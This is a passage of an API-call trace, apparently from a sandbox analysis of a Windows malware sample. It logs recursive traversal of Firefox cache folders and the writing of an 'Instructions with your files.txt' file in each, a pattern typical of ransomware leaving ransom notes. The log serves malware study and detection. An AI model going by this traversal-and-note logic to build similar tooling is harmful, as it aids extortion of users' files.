[0130.708] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\..") returned 100
[0130.708] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.708] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\Instructions with your files.txt") returned 130
[0130.708] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\6\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.708] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.709] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.709] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.709] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.709] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.709] CloseHandle (hObject=0x128) returned 1
[0130.710] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.710] GetProcessHeap () returned 0x810000
[0130.710] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.710] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7", cAlternateFileName="")) returned 1
[0130.710] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7") returned 97
[0130.710] GetProcessHeap () returned 0x810000
[0130.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.710] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\*") returned 99
[0130.710] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.711] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\.") returned 99
[0130.711] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.711] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\..") returned 100
[0130.711] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.711] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\Instructions with your files.txt") returned 130
[0130.711] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\7\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.711] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.712] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.712] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.712] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.712] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.712] CloseHandle (hObject=0x128) returned 1
[0130.712] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.712] GetProcessHeap () returned 0x810000
[0130.712] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.712] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8", cAlternateFileName="")) returned 1
[0130.713] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8") returned 97
[0130.713] GetProcessHeap () returned 0x810000
[0130.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.713] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\*") returned 99
[0130.713] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.713] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\.") returned 99
[0130.713] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.713] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\..") returned 100
[0130.713] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.713] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\Instructions with your files.txt") returned 130
[0130.713] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\8\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.713] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.714] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.714] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.715] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.715] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.715] CloseHandle (hObject=0x128) returned 1
[0130.715] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.715] GetProcessHeap () returned 0x810000
[0130.715] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.715] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9", cAlternateFileName="")) returned 1
[0130.715] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9") returned 97
[0130.715] GetProcessHeap () returned 0x810000
[0130.715] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.715] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*") returned 99
[0130.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.716] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\.") returned 99
[0130.716] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.716] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\..") returned 100
[0130.716] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1
[0130.716] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10") returned 100
[0130.716] GetProcessHeap () returned 0x810000
[0130.716] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.717] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\*") returned 102
[0130.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.717] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\.") returned 102
[0130.717] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.717] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\..") returned 103
[0130.717] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x534f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16A09d01", cAlternateFileName="")) returned 1
[0130.717] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01") returned 109
[0130.717] StrStrIW (lpFirst="16A09d01", lpSrch="SDfghjkl") returned 0x0
[0130.718] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x534f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16A09d01", cAlternateFileName="")) returned 0
[0130.718] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\Instructions with your files.txt") returned 133
[0130.718] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.718] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.719] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.719] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.719] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.719] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.719] CloseHandle (hObject=0x12c) returned 1
[0130.719] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.719] GetProcessHeap () returned 0x810000
[0130.719] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.719] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d58af0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2C", cAlternateFileName="")) returned 1
[0130.719] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C") returned 100
[0130.719] GetProcessHeap () returned 0x810000
[0130.719] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.719] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\*") returned 102
